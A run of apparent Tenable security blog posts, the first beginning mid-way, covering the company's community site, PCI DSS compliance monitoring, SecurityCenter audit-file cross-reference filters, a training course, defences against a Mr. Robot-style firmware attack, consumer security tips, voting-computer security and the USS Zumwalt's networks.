Here’s a sample SecurityCenter NIST 800-53 Dashboard using the 800-53 cross-references:

Wrap-up

While working with standards isn’t likely to replace a good movie or book as your first choice for a lazy weekend, if we take a step back and forget all the times that standards have been misused as an insurmountable roadblock, you might see something interesting that can improve your security posture.

The new Tenable Community website is live. We have taken the Tenable Discussions forum site, and transformed it in both look and scope to become the new Tenable Community.

Discussions vs. Community

The Tenable Discussions forum website has been a valuable resource for Tenable and Tenable customers for years. The posts and threads that were there in the Tenable Discussions forum are still there on the Tenable Community site, and the discussions form the foundation of the community. Community is broader than discussions, though.

To understand the difference—or the reason for the change—let’s take a look at the definitions of the words “discussion” and “community”. 

• dis·cus·sion: The act of talking about something with another person or a group of people; a conversation about something.
• com·mu·ni·ty: A unified body of individuals; a body of persons of common and especially professional interests scattered throughout a larger society.

Discussions is more limited, and functions primarily as a support group for Tenable users and customers to ask questions and find answers from Tenable or from other users and customers. That is still an important element of the Tenable Community as well, but the Tenable Community will also be a place Tenable and Tenable customers can share tips and best practices, talk about upcoming events and activities, or discuss information security tools and practices in general.

Share tips and best practices, talk about upcoming events and activities, discuss information security tools and practices

We don’t want to just talk about Tenable products with another person or group of people. We want to offer a platform where people with common and professional interests in Tenable and information security can gather and interact as a unified body.

Tenable Community benefits

The more we all share and contribute, the more valuable the Tenable Community will be for all of us. The Tenable Community will provide a variety of unique benefits, including: 

• Participate in discussion boards
• Learn best practice tips and advice for using Tenable products, including Nessus, SecurityCenter and SecurityCenter Continuous View
• Stay up-to-date about the latest Tenable news, products and updates
• Find answers to your questions and share your knowledge with other community members
• Report problems and request product enhancements
• And much more

We will soon introduce a point system and levels to recognize the contributions of those who contribute the most to the Tenable Community—not just in volume, but in quality of posts and responses. The goal is to simultaneously reward or acknowledge those individuals, while also making it easier for someone new to the Tenable Community to identify members who have established a solid reputation and earned respect in the community.

Join the Tenable Community

We will continue to make small changes in the coming weeks, so pardon our dust as we work through this transition. Please email us at community@tenable.com to share your feedback about the new Tenable Community. Let us know if any part of the site seems confusing or isn’t working properly, and please share with us any ideas you have to improve the Tenable Community.

If you were already part of the Tenable Discussions website, your existing username and password will still work for the new Tenable Community. I invite everyone to check out the Tenable Community. Click here to take a look and let us know what you think: Tenable Community.

If your organization transmits, processes, stores, or could impact the security of cardholder data, the Payment Card Industry Data Security Standard (PCI DSS) is the mandated framework of security controls and processes you must follow, and annual attestation is required. However, PCI compliance should not just be about passing an annual assessment. Adopting and maintaining a "business-as-usual," continuous PCI compliance monitoring approach is required to establish a foundation of true security that keeps criminal hackers away and cardholder data safe.

PCI DSS is established, yet still challenging

The PCI DSS is a mature standard with more than a decade of deployment and evolutionary updates. However, despite this maturity, consistently meeting the hundreds of security requirements specified in the PCI DSS standard continues to be a challenge for many organizations.

Version 3.2 of the Payment Card Industry Data Security Standard (PCI DSS), which the PCI Security Standards Council released on April 28, 2016, has six major goals defined by 12 requirements and more than 400+ sub-requirements. These specify a vast range of people, process, and technology controls that affect the security of cardholder data. To complicate things even further, sometimes the organization itself is responsible for performing an assessment and determining whether or not they believe they are meeting a requirement, while other times an external assessor is assessing the organization using his or her own interpretation of PCI requirements and the degree to which they are met. This makes it hard to know exactly what your organization's PCI compliance stance is at any given point in time.

According to the PCI Security Standards Council, for true protection of payment card information, you must not only meet, but also consistently maintain these security requirements as part of your business-as-usual activities.

PCI compliance isn’t a once-a-year project

The PCI DSS Version 3.0, released in November 2013, debuted the concept of making compliance business-as-usual in order to shift the mindset from a once-a-year project to a continuous effort. In Version 3.2 of the standard, there is a continued emphasis on the necessity of doing what the PCI DSS requires on an ongoing and continuous basis.

80% of companies that passed their annual assessment failed a subsequent interim assessment

According to the Verizon 2015 PCI Compliance Report (March 2015), “80% of companies that passed their annual assessment failed a subsequent interim assessment, which indicates that they’ve failed to sustain the security controls they put in place,” illustrating how easy it is to drift out of compliance. In order to truly protect cardholder data, you must start building a business-as-usual, continuous, sustainable PCI security program. Tenable can help.

Tenable enables business-as-usual PCI compliance

Tenable provides a continuous PCI DSS compliance monitoring solution you can use to create the strong, continuous security you need to effectively protect your cardholder data environment (CDE) and achieve business-as-usual PCI compliance.

Tenable supports PCI vulnerability scanning, but doesn’t stop there

Tenable is known as the creator of Nessus®, which is widely used to perform network vulnerability scans based on Requirement 11.2 of the PCI DSS. Requirement 11.2 focuses on vulnerability scanning, and includes three sub-requirements:

• Internal scanning (11.2.1)
• External scanning (11.2.2)
• Internal and external scanning after any significant change to the network (11.2.3), such as new system component installations, changes in network topology, firewall rule modifications, product upgrades, etc.

Service Providers and Merchants can use Tenable solutions to meet all PCI DSS 11.2 vulnerability scanning requirements:

• Internal scanning requirements: Use either Nessus, the world’s most widely deployed vulnerability scanner, Nessus Cloud, or SecurityCenter Continuous View™ (SecurityCenter CV™), which uses Nessus as its underlying scanner, to meet all PCI DSS 11.2.1 internal vulnerability scanning requirements, including requirements for internal scanning after significant change (11.2.3).
• External scanning requirements: Use Nessus Cloud, the Tenable Approved Scanning Vendor (ASV) service, to meet all PCI DSS 11.2.2 external scanning requirements, including quarterly external scan requirements.

Tenable support for PCI compliance also goes much deeper than simply internal and external vulnerability scanning support.

Tenable provides proactive, continuous PCI compliance monitoring

Tenable SecurityCenter CV, using Nessus as its underlying scanner, provides not only the internal vulnerability scanning support Service Providers and Merchants need for their PCI compliance program; it also includes additional capabilities that enable proactive and continuous monitoring of PCI security. These key capabilities help Service Providers and Merchants easily achieve continuous PCI compliance business-as-usual for their organizations.

These capabilities include:

• Continuous monitoring of more than 75% of PCI DSS technical controls, giving you a comprehensive, near real-time view into the status of your PCI compliance posture
• Support for centralized logging and monitoring PCI DSS requirements (10.5-10.6)
• Support for PCI DSS change detection requirements (11.5) using data collected from hosts and via continuous listening
• A centralized view that helps you identify threats and avoid data leakage by monitoring all devices within your cardholder data environment (CDE), including physical, virtual, mobile, and cloud, as well as traffic going into and out of the CDE
• A unique combination of active scanning, agent scanning, intelligent connectors, continuous listening and host data monitoring to help you quickly identify when you are drifting out of compliance so you can take immediate action
• Streamlined assessment, providing automated baseline creation, anomaly detection, continuous monitoring, and purpose-built PCI DSS Assurance Report Cards (ARCs), dashboards, and reports that make it easy for you to track and efficiently manage your entire PCI DSS security program from a central location

Security data collected by Tenable sensors is automatically fed into SecurityCenter CV, then displayed in the PCI dashboards and ARCs.

PCI dashboards for continuous compliance monitoring

Tenable PCI dashboards are centralized control panels used by security operations staff to monitor and react to security data in real-time.

Dashboards enable continuous monitoring of critical PCI DSS controls

SecurityCenter CV includes 12 PCI-specific dashboards, along with one compliance summary, which includes both PCI as well as other standards and regulations which may also fall under your area of responsibility:

• PCI Access Control: Allows organizations to assess their level of adherence with PCI security requirements, focusing on access control
• PCI Asset Management: Provides security teams with detailed insight into their network and PCI security posture
• PCI Centralized Logging: Provides analysts with detailed insight into the log collection and events gathered across the organization
• PCI Configuration Audit: Presents extensive data about the configuration status of the network based on accepted industry configuration standards such as CIS
• PCI Continuous Monitoring: Presents extensive data about the vulnerability and configuration status of the network
• PCI Data Protection: Allows organizations to assess their level of adherence with PCI requirements, focusing on data protection
• PCI Monitoring Coverage: Allows organizations to assess their level of adherence with PCI requirements, focusing on monitoring coverage of vulnerability scanning
• PCI Network Mapping: Provides security teams with detailed insight into their network and cardholder data environment security posture
• PCI Network Security: Provides security teams with detailed insight into their organization and PCI compliance posture of the network
• PCI Quarterly Internal Vulnerability Scanning: Presents extensive data about the vulnerability status of the network
• PCI Scan Monitoring: Provides security teams with detailed insight into their organization and vulnerability management posture
• PCI Vulnerability Management Program: Enables organizations to assess their level of adherence with requirements found in the “Maintain a Vulnerability Management Program” section of the PCI DSS
• Compliance Summary: Provides several components for each of the compliance standards auditable by SecurityCenter CV (including PCI DSS)

PCI Assurance Report Cards (ARCs) for continuous compliance monitoring

Tenable PCI ARCs provide security managers and executives with a business perspective, enabling you to show how your organization’s PCI DSS program is performing within the context of specific PCI requirements:

ARCs map to specific PCI requirements

Tenable provides nine PCI-specific ARCs in SecurityCenter CV:

• PCI Requirement 1: Analyzes policy statements related to the requirement: Secure the network border to protect cardholder data
• PCI Requirement 2: Analyzes policy statements related to the requirement: Harden systems to a consistent, documented, and secure standard based on recognized industry standards
• PCI Requirement 4: Analyzes policy statements related to the requirement: Encrypt cardholder data across open and public networks
• PCI Requirement 5: Analyzes policy statements related to the requirement: Defend the organization with anti-virus and anti-malware products
• PCI Requirement 6: Analyzes policy statements related to the requirement: Keep the organization safe with vulnerability management and use industry standard secure development practices
• PCI Requirement 8: Analyzes policy statements related to the requirement: Access to system components is identified and authenticated
• PCI Requirement 10: Analyzes policy statements related to the requirement: Network resources and all access to cardholder data is tracked and monitored
• PCI Requirement 11: Analyzes policy statements related to the requirement: Security systems and processes should be tested regularly
• PCI Appendix A2: Analyzes policy statements related to Appendix A2 requirement: Organizations using SSL and early versions of TLS must work toward upgrading to a strong cryptographic protocol

True PCI security requires a continuous business-as-usual approach to compliance

Achieving continuous business-as-usual PCI compliance is not easy, especially for large enterprise organizations with complex tool sets and security data sources. However, continuously maintaining the security of the cardholder data environment is critical, especially in this era of high profile payment card data breaches. Organizations responsible for securing cardholder data must shift from the mindset of passing a point-in-time audit to year-round continuous compliance and effective security, and Tenable can help.

For more information about the Tenable Continuous PCI DSS compliance monitoring solution, see the following resources:

• Solution Story: Make PCI Compliance Business as Usual
• Whitepaper:How to Enable Continuous PCI DSS Compliance Monitoring
• Infographic:PCI DSS Continuous Compliance Monitoring

A common question asked by our customers is “Are we compliant with ____?” Regardless of the standard to which your organization must be compliant, the question still remains “Are you compliant?” and “Can you prove it?” In a previous blog post on Security Frameworks Based Auditing with Nessus, Justin Brown explains how to use Nessus® and compliance audit files. The compliance audit files are also supported in SecurityCenter™. The initial scanning with audit files in SecurityCenter are basically the same, but there a few differences that should be highlighted.

Updated templates in the feed

The SecurityCenter feed gets updates to the audit file template automatically whenever new files are created or existing files are updated. This means there can be new updated audit file templates each morning when you log in to your SecurityCenter. Please note, the new templates do not update the audit files you have installed from the template. But there could be a new template for you to review and potentially use to replace your existing template.

Audit file type searches

When using Nessus, each of the audit file types has a corresponding plugin ID; however in SecurityCenter, the audit file plugin ID is not used. In SecurityCenter when you install an audit file, a new plugin higher than plugin ID 1000000 is created for each check. To retain the audit file type, there is a cross reference called “auditFile”. In the Reference Information of the Vulnerability Detail List tool, you can see the auditFile value. When adding a filter for the audit file type, the XREF Type, left side of the pipe (|), is the auditFile type. To the right of the pipe (|), the XREF ID is placed. For example “auditFile|bluecoat” would locate any audit check used to audit an Bluecoat configuration. There are currently 29 auditFile types:

auditFileTypes

Cross Reference searches

In Justin’s post, he discussed the reference line. This line is heavily used in the SecurityCenter dashboards and reports. First let's dissect the Cross Reference filter. The Cross Reference filter, XREF in assets, can be used by entering a combination of the XREF Type (left side) and XREF ID (right side). As of SecurityCenter 5.4.0, the wild card (*) can be used with the XREF ID (right side). The XREF Type is the the acronym or shortened version of the compliance standard. For example, NIST 800-53 uses “800-53.” Some standards have different variations, for example PCI-DSS has: PCI-DSS, PCI-DSS-2.0, PCI-DSS-3.0, PCI-DSS-3.1, and PCI-DSSv3.1. As Justin and his team continue to make updates to the audit files and continue to normalize the XREF Type, many of these variations could change. If your audit files are older or were customized long ago, the reference fields may be out of date and be unable to take full advantage of the new cross references. We recommend reviewing the newly updated audit files so you receive the benefit of the new cross references.

When searching using the Cross Reference field, the XREF TYPE and XREF ID are separated by a pipe (|) character. If the filter should search for more that one XREF TYPE and ID combination, then separate the two phrases with a comma. The comma-separated field acts as a logical OR. Here are a few examples:

• Cross Reference = 800-53|AC*
  • Would be a match for AC-1, AC-2, etc.
• Cross Reference = 800-53|AC-1
  • Would be a match for AC-1, but not AC-11
• Cross Reference = 800-53|AC-1*
  • Would be a match for AC-1, AC-11, AC-12, etc.
• Cross Reference = 800-53|SC-7 (5),800-53|SC-8
  • Would match 800-53|SC-7 (5) or 800-53|SC-8
• Cross Reference = 800-53|SC-7*
  • Would match 800-53|SC-7 (5), 800-53|SC-7, 800-53|SC-71, etc.
• Cross Reference = 800-53|*
  • Would match anything with 800-53 any xref type
• Cross Reference = 800-53|*7
  • Would match anything with XREF ID ending in 7
• Cross Reference = 800-53|S*-7
  • Would match anything with XREF ID beginning with S and ending with "-7"
• Cross Reference = auditFile|windows,800-53|S*-7
  • Would match anything with XREF ID beginning with S and ending with "-7" or anything with auditFile|windows present. Keep in mind that all Windows audits would match, and any Linux with 800-53|S*-7 present.

Shown below is a sample view of the Vulnerability Analysis screen for an audit result. In the lower right hand corner of the screen, you can see the Reference Information and the Cross References line. The cross reference mappings in the Reference Information section come from the Nessus scan results, while the Cross References are obtained when installing the audit file. In most cases, these two sets of data will be the same; however, if the audit file is updated, there could be some old data where the fields are not the same. When this inconsistency occurs, Tenable recommends running the audit scan again so the Nessus data will be updated.

Dashboards, reports, and ARCs

Tenable provides many dashboard, report, and ARC templates that use the cross reference fields. A recently published dashboard for HIPAA compliance provides a detailed example for using the cross reference fields. In Justin’s blog post, he discusses how an analyst can use a cross reference for one standard to map to another standard. The HIPAA dashboard uses this approach to identify systems that are compliant or not compliant with HIPAA regulations. One of the matrices HIPAA - Administrative Safeguards: Security Awareness & Security Incident Procedures (164.308 A5-A6) has a cell with the filter HIPAA|164.308(a)(5)(ii)(A),800-53|RA-3,CSF|ID.RA-3. This filter shows how the analyst can run scans with CIS audit files, and still perform audits for HIPAA, CSF, and NIST 800-53.

Wrap-up

Tenable SecurityCenter and SecurityCenter Continuous View™ provide a unique combination of detection, reporting and pattern recognition, utilizing industry-recognized compliance standards. With more supported technologies than other vendors, SecurityCenter provides compliance support for operating systems, network devices, hypervisors, databases, tablets, web servers, and critical infrastructure.

At Tenable, our goal is to help you transform your security with comprehensive solutions that protect your organization. Yet even with security tools and experienced staff in place, it is often still difficult to detect and identify known and unknown threats and ensure your organization is secure. Today, we are excited to announce a new SecurityCenter CV: Advanced Threat Detection course, available on-demand and free of charge for customers.

New Advanced Threat Detection course

This new course will show you how to gather data from multiple sources, including active and passive scanning, third-party integrations, and log events, to help identify both known and unknown threats. Additionally, the course focuses on how to utilize SecurityCenter’s targeted intrusion detection features, search for insider threats, and identify pathways for attacks on your network. This course is ideal for IT security analysts, security consultants, or auditors who wish to become familiar with advanced threat detection using SecurityCenter Continuous View™.

Customer education: free on-demand training courses

Our on-demand training program is designed to help you get even more from your investment with Tenable. To combat busy schedules, resource constraints, and tight budgets, we offer complimentary courses available anytime, anywhere. With Tenable’s on-demand training courses, you can leverage updated, in-depth product training to ensure you have up-to-date knowledge on our latest solutions.

Get started today

To learn how to use Tenable SecurityCenter Continuous View to gather data from multiple sources, utilize targeted intrusion detection features, and search for insider threats, attend the SecurityCenter CV: Advanced Threat Detection course today. Access to this course and the complete catalog of Tenable on-demand courses is available for customers on the Support Portal.

In the Mr. Robot Season 2 finale, we finally learn about phase 2 of the hack. Spoiler Alert: The hack is to overwrite firmware and cause a battery room in a data center to explode. The key to this hack’s success is twofold: 1) all the paper records must be in the same building as the data center that is being attacked, and 2) the attacker must have some sort of physical access to the network and have the skills to hack the firmware of the UPS systems in the battery room. I would like to discuss some of the possible defenses that security operations can use to help defend against such an attack.

Know what’s on your network

The North American Electric Reliability Corporation (NERC) is committed to protecting the bulk power system against cybersecurity compromises that could lead to misoperation or instability. The NERC Critical Infrastructure Protection (CIP) Standards provide a cybersecurity framework for the identification and protection of Bulk Electric System (BES) Cyber Systems, to support the reliable operation of the North American power grid. CIP contains nine mandatory standards; CIP-002 is BES Cyber System Categorization. The purpose of CIP-002 is "to identify and categorize BES Cyber Systems and their associated BES Cyber Assets for the application of cyber security requirements commensurate with the adverse impact that loss, compromise, or misuse of those BES Cyber Systems could have on the reliable operation of the BES."

Often the Supervisory Control and Data Acquisition (SCADA) systems or Industrial Control Systems (ICS) are closed and proprietary operating systems and are subject to what may appear to be tightly controlled update processes. As James Arien discussed in a talk at DEF CON 18, the full understanding of SCADA is extremely complex and has many safety systems in place. In some cases, hacking a Programmable Logic Controller (PLC) or supporting Operational Technology (OT equipment such as a phasor measurement unit) is possible; however, the full implementation of a hack such as the Mr. Robot hack requires intimate knowledge of the specific SCADA system used, which leads back to insider threats. Other problems that exist are related to inter-organizational politics. As with any business and computing environment, as clearly portrayed in the Mr Robot series, security controls happen at many levels. The most important first step is to know what systems are on the network and who is accessing the systems.

Detecting the hack

As I have discussed in previous Mr. Robot posts, it is critical to understand when new devices connect to the network. For this discussion, I want to focus on network segmentation, and the detection of devices on critical subnets and areas within the network. As data centers are designed, there is often a management network created. These management networks are often different for each type of management. For example the facilities management (aka HVAC, UPS, etc.) and network management (switches, routers, and etc.) would be on separate subnets. In a well-designed and segmented network, there are different Access Control Lists (ACL) placed on network interfaces, thus limiting access where required. SCADA and ICS networks should be treated in this manner and segmented from the rest of the network using the same ACL to restrict access. If the network is properly segmented, alerts can be created to detect when a non-approved device is connected to a restricted managment network.

CIP-002 BES Cyber System Categorization, assists with identification and classification of ICS/SCADA Systems

By deploying the Passive Vulnerability Scanner® (PVS™) and Nessus® in these subnets, the organization can detect new systems actively and passively. The CIP-002 BES Cyber System Categorization dashboard provides security operations with an easier method to identify systems with access. With more customization, the dashboard can also be configured to report on new systems that come online. Detecting and monitoring UPS systems is also critical, and if done so correctly, E-Corp might not be in the danger they are in this season.

UPS Management Dashboard

The UPS Management dashboard provides insight into vulnerabilities and events associated with UPS systems. As part of an organization’s critical infrastructure, failures in the security or functionality of UPS systems could lead to exploitation or data loss. Events related to UPS systems are tracked to enable security teams to monitor UPS functionality. Vulnerabilities related to UPS systems and applications are also identified in order to facilitate effective remediation measures. By monitoring UPS systems and applications for events and vulnerabilities, security teams can more effectively ensure the functionality and security of these systems.

The key to this week’s hack is the uploading of new software to UPS equipment. When organizations update firmware on PLCs, OT related equipment, and even UPS systems, these systems can use a protocol called Trivial File Transfer Protocol (TFTP). As implementations of SCADA can vary, the update mechanisms can also use Modbus, EtherNet/IP, SSH, or even some form of http(s) transport. Understanding how firmware updates are securely deployed is key to preventing such an attack and is paramount to good security.

Without appropriate transport and integrity checking of critical processes like firmware updating, attackers can perform and successfully carry out man-in-the-middle attacks during this process. Organizations with PVS and Nessus have the capability to detect the OS version of systems, and alerts can be created if a system’s OS is changed. The Tenable Log Correlation Engine® (LCE®) can also detect when software updates are detected and related events. In many environments, firmware updates are performed from very specific workstations in an organization. Analysts using SecurityCenter Continuous View® can be alerted when PLCs and other OT equipment have firmware updates, and verify these updates are performed from authorized locations in the network.

Reality or Hollywood?

The risk in this hack is not really blowing up the data center; the important question is can a malicious hacker get unauthorized changes and backdoors onto your systems. The answer is a resounding yes! There are many ways this attack can occur, but we as security professionals can prevent this type of attack by knowing what is on the network, and by using proper segmentation, such as the Purdue Model. Continuous monitoring is key to preventing this attack; scanning once a month is not good enough. Scanning once a week is not good enough; you must scan daily, sniff continuously, and correlate logs effortlessly. SecurityCenter Continuous View is the only solution that provides integrated methods to do all three detection methods.

For as long as there have been computers and networks there have been security issues to go along with them. As technology evolves, attackers develop new exploits and techniques and the threat landscape shifts. Companies and IT departments have to continuously adjust and adapt to guard against infections and compromise—and there is a lot that we as individuals can learn from our employers to do a better job of protecting our own devices and data.

So, in honor of National Cybersecurity Awareness Month in the US, this October we are sharing insights about security issues that affect our everyday lives. To kick off the series, here are three key points about the corporate approach to cybersecurity that you can apply to your own devices.

1. No target is too small

Many individuals make the mistake of assuming they don’t need to be concerned about security because they’re not targets. They think they don’t have any important data, or that they don’t have enough money for any would-be attacker to bother.

While there are certainly some targets with the potential for a lucrative payday, that isn’t necessarily the goal of most attacks. In fact, most attacks circulating on the Internet are automated—or bots—that simply seek out vulnerable connections to exploit. The bot doesn’t know who you are, or what you’re worth, and it doesn’t care.

Any compromised system has some value. The attacker may be able to skim enough information from hacking your PC or mobile device to steal your identity, or capture your credentials for things like bank and credit card accounts or social media. If nothing else, a successful compromise can enable the attacker to use your PC or device as part of a botnet to launch denial-of-service attacks, distribute spam, or wage further attacks against other systems.

You’re not too small or insignificant to be a target

The bottom line is that you’re not too small or insignificant to be a target, and you owe it to yourself—and everyone else you’re sharing the Internet with—to try and prevent yourself from being hacked.

2. Become a moving target

Everyone knows they’re supposed to use different passwords for different applications, sites, and services—and that those passwords should be changed relatively frequently. Companies implement and enforce password change policies to force users to follow this standard security practice.

We know that most people don’t actually do this for their personal accounts, though. How do we know? Well, for one thing, every time there is a major data breach, we learn that the most used passwords are still things like “123456” or “password” no matter how many years security experts have begged people to stop using those. We also find that when attackers successfully breach a site like LinkedIn or Yahoo, there is an associated increase in compromise of other sites and services because once the hackers have your username and password for one site there’s a good chance they can get into the rest of your accounts as well.

You can almost assume that your credentials will be compromised at some point

You should do your best to use different usernames and passwords across different sites and services. More importantly, though, you should periodically change your passwords. It makes you a moving target. You can almost assume that your credentials will be compromised at some point, but hopefully by the time attackers crack your password you’ve already changed it so you’re still safe.

3. Don’t let your guard down

Corporate cybersecurity relies on a combination of being both comprehensive and persistent. You can’t be secure by protecting only some of your devices and data, nor can you be secure if you only protect yourself some of the time.

You should have anti-malware or security software of some sort on your PCs and mobile devices. Security software won’t catch everything, though, so it’s also important that you remain vigilant and apply common sense. Don’t click on links or open attachments from unknown sources, or from known sources if the circumstances seem questionable. A little dose of skepticism goes a long way when it comes to avoiding attacks and exploits.

One more bonus tip. Back up your data. Ransomware is an insidious and growing threat. If you’re hit with ransomware, the attack will encrypt all of your data and the only way you’ll be able to regain access to it is if you pay the ransom demand...or restore your data from a recent backup. If you have copies of your data backed up on external drives or stored in the cloud somewhere, you won’t need to pay the ransom. You can just restore your unencrypted data from your backup and go on as if nothing happened.

Corporations have regulations to abide by, and generally more to protect than your average individual. They also tend to have teams of IT and security professionals to manage it all. Even though you’re not a corporation and you may not be an IT professional, you can still employ these basic principles to be more secure and protect your own devices and data.

There are only a few short weeks left before everyone heads to their friendly neighborhood polling place to vote for the next U.S. President, a few Senators, their U.S. Representatives and a slew of state and local offices. Almost all of us will vote the old-fashioned way, with some sort of paper ballot, either with a pen checking boxes or a machine punching holes. A few people will vote with a voting computer that will also produce a verifiable paper receipt. Fewer people still will use voting computers with no paper trail.

Direct record electronic voting machines

When it comes to voting systems security, terminology is important. We’re not talking about voting machines; the devices under question here are so far advanced from what has been traditionally referred to as “voting machines” that it is more accurate and useful (at least from a security perspective) to think of them as “voting computers.” Technically they are known as Direct Record Electronic Voting machines or DREs, but when they run Windows, have touch screens and in many cases come with USB ports, they are for—all intents and purposes—computers. And just like any other computer, they are subject to crashing, freezing, and of course, malware and cyberattacks.

Easy breach

Despite voting computer security becoming a hot topic every two years and a very hot topic every four years, there has been very little progress in the area for almost two decades. A recent study by the Institute for Critical Infrastructure Technology (ICIT) shows just how easy it still is to breach a voting computer. In most cases, someone just needs unobserved physical access to the machines for a few minutes. But if they can get that, the systems aren’t very hard to compromise.

Who’s responsible?

There is very little incentive for manufacturers to care about security

Fingers often get pointed at the manufacturers for failing to include even the most basic levels of security in voting computers, but the fingers should really be pointed at the American public for not demanding that these companies produce better products. Voting computer companies don’t sell security—they sell voting systems. And there is very little incentive for manufacturers to care about security. So far, the purchasers of voting computers—your local election boards—have not demanded much in the way of security; and even when they do, many don’t have the level of knowledge needed to evaluate if the systems actually come properly installed with their security requests. Unless this changes, we won’t see security being included in new voting computers.

Still, physical voting computers are safer than Internet-based voting systems. It is much more cost-effective for attackers to compromise voting computers remotely, either to change the vote or vote total as it is being transmitted, or to alter the results once they have been stored at the destination. As states transition to electronic online voting, security needs to be a primary concern.

What’s the answer?

There are many proposed answers to these problems, but most are technologically or financially difficult to execute. One solution is to create verification using a voter-verified paper audit trail (VVPAT), which is easy to implement and hard to dispute. Despite the extra work, VVPATs are the preferred method for people who want a verifiable audit trail. This method is already being used in some jurisdictions but it is not a required method.

Traditionally, elections in the United States have been handled at the local level, run by your own neighbors and volunteers, who staff the polling stations, tally the votes and communicate the results to the state. This idea of community, and of being able to freely cast your vote in the company of your friends and neighbors, instead of a large government bureaucracy, is part of what makes U.S. elections unique in the world. This decentralized approach also makes U.S. state and national elections very difficult to tamper with, because people will notice when their small community vote totals suddenly increase by several thousand votes from one election to the next.

In order to support the security and integrity of elections at the local level, the federal government passed the Help America Vote Act in 2002, which tasks the Election Assistance Commission (EAC), assisted by the National Institute of Standards and Technology (NIST), with issuing guidance, advisories and best practices to help officials conduct local elections. The EAC is also mandated with accrediting voting system test laboratories and certifying voting equipment. However, getting assistance from the EAC is completely voluntary, and local election boards are not required to have their voting computers audited for security issues. This means that if local boards don’t take advantage of these programs, many of these voting computers will remain insecure and susceptible to a cyberattack that could potentially compromise sensitive information, or worse, alter the election outcome.

The good news is that there is currently a two year exemption to the Digital Millennium Copyright Act (DMCA) on voting machines. This prohibits manufacturers from suing researchers for circumventing access controls while searching for vulnerabilities in voting computers. Creating an incentive for well-intentioned researchers should encourage security researchers to investigate the security of voting computers and is a good way to identify vulnerabilities and fix them before any damage to a U.S. election system can occur. The bad news is that this exemption is only good for two years.

Legislation

Recently two new bills were introduced by Rep. Hank Johnson (D-Ga): the Election Infrastructure and Security Promotion Act of 2016 and the Election Integrity Act. The first bill will require the Department of Homeland Security (DHS) to designate voting systems as critical infrastructure. While this would probably free up some budget to help secure elections, it could also fundamentally change how elections are currently run. It also requires the National Science Foundation to create an election technology development program. We will have to replace paper ballots some day, and conducting research into new technologies now could help that process along and be secure at the same time.

We will have to replace paper ballots some day, and conducting research into new technologies now could help that process along

The second bill prohibits voting computers from being connected to the Internet, which sounds great but in reality would have little impact. The real danger is connecting Election Management Systems (EMS) to the Internet. These systems are used to configure the ballots for the voting computers, to tabulate the votes, and for other administrative tasks of an election. EMS software in most cases runs on standard PCs and is often connected to the Internet. Comprising an EMS could allow an attacker to change the configuration files used to program voting computers, mess with the results, or other nefarious deeds. Prohibiting the voting computers themselves from connecting to the Internet is fine, but doesn't go nearly far enough.

Prohibiting voting computers from connecting to the Internet doesn't go nearly far enough

Unfortunately for both of these bills, they are unlikely to see a vote before this year's election. With interest in voting computer security quickly trailing off immediately following an election, these bills will have a tough time becoming law after November.

Looking ahead

As we march into the future and our lives become more and more computerized, how we vote will need to move along with us. Eventually we will need to trust voting computers and even eventually, voting over the Internet. For now though we really need to rely on a method we can all trust: paper. Let’s not wait another four years before we look at voting computer security again.

And most important of all, go vote.

On October 15, 2016, the naval commissioning ceremony for the USS Zumwalt will take place in the Port of Baltimore. The USS Zumwalt is not only the newest ship in the U.S. Navy, it represents a new class of warship that takes naval technology to a new level.

According to the Navy, “USS Zumwalt is the largest destroyer and most technologically advanced surface combatant in the world, with a brand-new, state-of-the-art electric propulsion system, wave-piercing tumblehome hull, small crew, stealth design and the latest war fighting technology and weaponry available.”

The Zumwalt is the most automated ship afloat

Named for Adm. Elmo Zumwalt, Chief of Naval Operations from 1970 to 1974 who oversaw a modernization of the naval fleet, the Zumwalt is the most automated ship afloat. Its stealth design reduces its radar profile, and despite its size, it will operate with a crew of about 150 –about half the complement of the current Arleigh Burke class destroyers. A single encrypted network will control shipboard applications, from the basic physical operations to advanced weapons systems.

Defending this new warship requires not just weapons, but also protecting its critical infrastructure.

Connected ship

Technology in warships is not new. According to Christopher Cleary, business development director at Tenable Network Security and a commander in the U.S. Navy Reserves, the internet is an increasingly important shipboard tool.

Internet connectivity on ships is used for crew morale, such as communications with family while at sea, and also can link to the NIPRNet, DoD’s Non-classified IP Router Network for sensitive information. Classified data is carried on SIPRNet, the Secret IP Router Network. Even classified communications are being moved to internet-based systems as part of the DoD’s Global Information Grid. All official record message traffic is secured by encryption.

Automation allows the ship to be operated by a small crew

While explicit details of the Zumwalt’s communications systems have not been made public, the Navy has hosted media tours of the ship, the first of its class, and explained the basic technology it employs. Its applications are all handled through the Total Ship Computing Environment, an encrypted onboard network. This supports the automation that allows the ship to be operated by a small crew, working from a control center much like the NOC of a land-based enterprise.

Naval officials explained that the Zumwalt uses a modular architecture to support a combination of commercial off-the-shelf and purpose-built technology intended to easily adapt throughout the operational life of the ship. There are 16 ruggedized Electronic Modular Enclosures (EME), each housing 235 electronics cabinets. Because the EMEs are ruggedized, they can safely house less expensive COTS products that can be easily replaced, so that the ship can be kept up-to-date throughout its decades of active service.

Protecting critical infrastructure

Although the stakes are high in securing the Zumwalt, the challenges are essentially those of securing any critical infrastructure: connections must be secured, data and traffic must be protected with strong encryption, access must be controlled through policy and enforcement, and administrators must have visibility into the entire infrastructure to continuously monitor and respond to activity in real time.

The Zumwalt’s automated systems control physical functions, from plumbing to radar, as well as handle communications. These pose the challenges of all Operational IT, Industrial Control or SCADA (Supervisory Control and Data Acquisition) systems.

Whatever the security tools used aboard the Zumwalt, they will have to perform essential functions, including identifying security requirements; establishing appropriate risk-based policies that clearly define cybersecurity roles and responsibilities of all managers, administrators and users; supporting these policies with a rigorous, ongoing risk-management process; and an effective configuration management process with routine self-assessments.

With the policies and processes in place, the solution must:

• Identify and document all devices and connections to the networks, disconnecting all that are unnecessary or unauthorized.
• Continuously evaluate the strength the security of all remaining connections and systems and implement the appropriate controls, including the security features provided by the vendors.
• Establish strong controls over any medium that can access the networks, and use both internal and external intrusion detection with continuous monitoring.
• Conduct periodic security audits and all equipment connected to the networks.

The IT architecture of the Zumwalt is designed to support evolving technology needs and capabilities. Its cybersecurity must also continuously monitor and respond to an evolving threat environment.

Tenable Network Security is proud to have our Federal Team attending the Zumwalt commissioning ceremony this weekend.